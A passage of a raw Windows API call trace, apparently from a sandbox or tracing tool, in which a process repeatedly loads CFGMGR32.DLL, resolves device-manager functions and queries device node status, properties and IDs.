[0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.834] malloc (_Size=0x18) returned 0x20abc281e60 [0228.834] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x13, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0228.834] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x44286f89, dwHighDateTime=0x1d9eb0c)) [0228.834] SetEvent (hEvent=0x248) returned 1 [0228.839] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.839] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.843] malloc (_Size=0x18) returned 0x20abc282080 [0228.843] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x13, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0228.843] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x442ad209, dwHighDateTime=0x1d9eb0c)) [0228.844] SetEvent (hEvent=0x248) returned 1 [0228.964] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.964] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.964] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.964] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.964] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.967] malloc (_Size=0x18) returned 0x20abc282020 [0228.967] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0228.968] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x443de65a, dwHighDateTime=0x1d9eb0c)) [0228.969] SetEvent (hEvent=0x248) returned 1 [0228.974] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.974] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.977] malloc (_Size=0x18) returned 0x20abc281ce0 [0228.978] CM_Get_Device_IDA (in: dnDevInst=0x14, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0C01\\2&DABA3FF&0") returned 0x0 [0228.978] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x443de65a, dwHighDateTime=0x1d9eb0c)) [0228.979] SetEvent (hEvent=0x248) returned 1 [0228.982] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.982] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.985] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.985] malloc (_Size=0x18) returned 0x20abc281ce0 [0228.986] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0228.986] malloc (_Size=0x5a) returned 0x20abc2807d0 [0228.986] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0228.987] free (_Block=0x20abc2807d0) [0228.987] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4440472d, dwHighDateTime=0x1d9eb0c)) [0228.987] SetEvent (hEvent=0x248) returned 1 [0228.991] malloc (_Size=0x18) returned 0x20abc281b00 [0228.991] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0228.991] free (_Block=0x20abc281b00) [0228.991] malloc (_Size=0x18) returned 0x20abc281ce0 [0228.991] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0228.991] free (_Block=0x20abc281ce0) [0228.991] malloc (_Size=0x18) returned 0x20abc281bc0 [0228.991] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0228.991] free (_Block=0x20abc281bc0) [0228.991] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0be70 [0228.991] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0228.991] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0228.991] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0228.991] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0228.991] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0228.991] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0228.991] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0228.992] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0228.992] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.992] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.992] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93500, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.993] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0228.993] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0be70) returned 1 [0228.994] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.997] malloc (_Size=0x18) returned 0x20abc281e60 [0228.998] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0228.998] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4442ad05, dwHighDateTime=0x1d9eb0c)) [0228.998] SetEvent (hEvent=0x248) returned 1 [0229.003] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.003] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.007] malloc (_Size=0x18) returned 0x20abc281ec0 [0229.007] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.152] malloc (_Size=0x48) returned 0x20abc2ab450 [0229.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x445a815b, dwHighDateTime=0x1d9eb0c)) [0229.153] SetEvent (hEvent=0x248) returned 1 [0229.157] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.157] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.159] GetProcAddress (hModule=0x7ffb1ced0000, 